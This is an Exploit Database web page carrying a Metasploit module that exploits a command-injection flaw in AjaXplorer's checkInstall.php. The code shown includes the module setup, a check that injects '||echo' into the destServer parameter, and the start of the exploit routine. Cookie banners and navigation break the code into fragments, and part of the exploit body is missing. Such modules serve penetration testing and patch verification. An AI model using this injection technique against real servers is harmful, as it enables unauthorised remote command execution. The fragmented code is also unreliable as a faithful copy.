

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS

# AjaXplorer - 'checkInstall.php' Remote Command Execution (Metasploit)

**EDB-ID:**

21993

**CVE:****EDB Verified:** ✓**Author:**[METASPLOIT](#)**Type:**[REMOTE](#)**Exploit:**   / **Cookiebot**  
by Usercentrics**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'AjaXplorer checkInstall.php Remote Command
Execution',
      'Description' => %q{
        This module exploits an arbitrary command execution
vulnerability in the
        AjaXplorer 'checkInstall.php' script. All versions of
AjaXplorer prior to
```

Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
      'Space' => 512,
      'Compat' =>
        {
          'ConnectionType' => 'find',
          'PayloadType' => 'cmd',
          'RequiredCmd' => 'generic perl ruby python bash
telnet'
        }
      },
      'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
      'Arch' => ARCH_CMD,
      'Targets' => [[ 'AjaXplorer 2.5.5 or older', { }]],
      'DisclosureDate' => 'Apr 4 2010',
      'DefaultTarget' => 0))

  register_options(
    [
      OptString.new('TARGETURI', [true, 'The base path to
AjaXplorer', '/AjaXplorer-2.5.5/'])
    ], self.class)
  end

  def check
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    clue = Rex::Text::rand_text_alpha(rand(5) + 5)
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```

    res = send_request_cgi({
      'method' => 'GET',
      'uri'      => "#
{target_uri.path}plugins/access.ssh/checkInstall.php",
      'vars_get' => {
        'destServer' => "||echo #{clue}"
      }
    })

    # If the server doesn't return the default redirection, probably
    something is wrong
    if res and res.code == 200 and res.body =~ /#{clue}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    peer = "#{rhost}:#{rport}"
    target_uri.path << '/' if target_uri.path[-1,1] != '/'

    # Trigger the command execution bug
    res = send_request_cgi({

```

Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```

      print_line(m)
    end
  end
end

end

=end

=begin
Repo:
http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
=end

```

Tags: [Metasploit Framework](#)  
(MSF).

Advisory/Source: [Link](#)



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

- Databases ▾
- Links ▾
- Sites ▾
- Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.



**Cookiebot**  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >